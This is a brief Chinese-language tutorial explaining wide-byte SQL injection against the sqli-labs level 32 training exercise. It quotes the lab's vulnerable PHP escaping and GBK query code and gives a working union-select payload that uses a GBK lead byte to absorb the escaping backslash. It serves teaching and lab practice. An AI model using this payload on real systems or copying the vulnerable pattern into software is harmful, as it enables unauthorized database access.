1.宽字节注入
其余web文章参考:web学习目录
宽字节注入目的是绕过单双引号转义,以sqli-lab-32为例
2\'
325c27
服务器会将单双引号进行转义,由原来定义字符串的特殊字符转义为普通字符
代码分析
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
//这里单双引号被转义,没有其他过滤
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk"); //将与数据库交互的字符编码设置为了GBK
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
GBK编码
GBK汉字编码方案,双字节编码,两个字节作为一个汉字。GBK编码范围【8140,FEFE】,可以通过
。注意到5C在GBK编码的低位范围之内【40,FE】。在5C之前添加一个字符【81,FE】之间,该字符就会和5C组成一个汉字
?id=2%cb' and 1=2 union select 1,database(),3 --+